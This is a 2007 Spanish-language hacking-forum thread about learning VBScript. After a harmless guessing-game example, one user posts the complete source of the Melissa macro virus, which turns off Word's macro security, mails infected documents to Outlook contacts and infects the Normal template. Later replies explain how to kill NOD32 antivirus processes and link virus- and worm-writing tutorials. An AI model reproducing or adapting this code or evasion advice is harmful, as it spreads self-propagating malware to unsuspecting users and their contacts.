|
|
|
|
Hait-ScriptXpert
NZ1

Desconectado
Mensajes: 61
|
 |
« Respuesta #2 : 28 de Marzo de 2007, 09:16:42 » |
|
siento la tardanza... Si te puedo contestar: Los scripts son lenguajes de programación los cuales no nesesitan de ser compilados, es decir en el bloc de notas escribes el código, lo guardas y no nesesita de ser convertido a .exe, se ejecuta normalmente, pero si tus intensiones son malas, un script no es muy recomendado, menos si lo vas a enviar por correo, a menos de que la víctima no sepa ni un gramo de que es eso. Bueno ese no es el caso. Un script te sirve para: Hacer pequeñas aplicasiones, complementos para programas, o solo para divertirte. Para escribir un script solo escribe el código en el bloc de notas, ya que lo vas a a guardar como Nombre.vbs, o vbe, o js, o etc. No lo vallas a guardar como nombre.txt.vbs, esto te puede pasar, para guardar el archivo, en el dialogo de guardar, lo pones como todos los archivos, y ahora si lo guardas como nombre.vbs. Ahí te va un ejemplo: Randomize x=CInt(1 + Int(Rnd()*19)) msgBox(x)
Do
t=CInt(InputBox("¿Que número elegí?"))
If x<t Then r=MsgBox("Mi número es más pequeño.") If x>t Then r=MsgBox("Mi número es mayor.") Loop Until x=t MsgBox("Has acertado") Este lo guardas como jueguillo.vbs con el bloc de notas, lo ejecutas y listo, lo podrás jugar...
|
|
|
|
|
En línea
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
kran
Visitante
|
 |
« Respuesta #11 : 17 de Junio de 2007, 10:46:19 » |
|
 yo tambien soy noob en vbs me encantaria aprender ^^ navegando consegui esto  Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Mic*ft\Office\9.0\Word\Security", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Mic*ft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Mic*ft\Office\", "Melissa?") = "... by Kwyjibo" End If Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then _ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True: End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub
|
|
|
|
|
En línea
|
|
|
|
|
|
|
|
kran
Visitante
|
 |
« Respuesta #14 : 17 de Junio de 2007, 04:12:05 » |
|
pues yo no estoy en contra ^^
|
|
|
|
|
En línea
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Shadow C
NZ2
 
Desconectado
Mensajes: 132

Vx CoDiNg DoN´t DiE
|
 |
« Respuesta #23 : 22 de Junio de 2007, 10:11:54 » |
|
mmm  .... si con desactivar el NOD32 te refieres a sacarlo de memoria para que no scanee.Prueba utilizando el codigo mataprocesos que puse en el post libreria de script. Los procesos del nod mas importante son: NOD32KUI.EXE (NOD32 Control Center) NOD32KRN.EXE (muy dificil que lo cierres con un simple mataprocesos) Recomendacion: Por que no empiezas a codear en Visual Basic 6.0? te da muchas mas posibilidades como utilizar apis y otras prestaciones ademas los codes son el 90% transferibles. Intentalo!!!!
|
|
|
|
|
En línea
|
|
|
|
|
|
lupino666
Recien llegado

Desconectado
Mensajes: 9
|
 |
« Respuesta #25 : 21 de Agosto de 2007, 01:37:47 » |
|
Respecto al codigo de mas arriba es del macro virus melisa busca en google macro virus melissa y veras lo qeu hace aunque es mas famoso por que se expandio por todo el mundo en poco tiempo, no se que otros playloads tenga respecto a un mamual de virus en VBS o VB entre a esta pagina Para ver este enlace Registrate o Inicia Sesionhttp://www.espavirus.com/cursos_virus/curso_cybermosca/creacion_de_macrovirus.htm en esta pagian esta la introduccion a la creacion de macrovirus para word y exel BY cibermosca Para ver este enlace Registrate o Inicia Sesionhttp://www.espavirus.com/cursos_virus/curso_kuasanagui/tutorial_basico_de_virus_vbs.htm aqui un tutorial basico de virus bajo VBS by Kuasanagui Para ver este enlace Registrate o Inicia Sesionhttp://www.espavirus.com/cursos_virus/curso_nemlim/tutorial_avanzado_virus_vbs.htm la contunuacion del tutorial de Kuasanagui BY Nelmim Para ver este enlace Registrate o Inicia Sesionhttp://www.espavirus.com/cursos_virus/curso_kuasanagui/worm_en_visual_basic.htm para aprender hacer worm basicos en VB 6.0 En general entren a Para ver este enlace Registrate o Inicia Sesionwww.espavirus. com  hay de todo sobre virus en variados lenguajes
|
|
|
|
|
En línea
|
http://world5.monstersgame.es/ac=vid&vid=58141462
|
|
|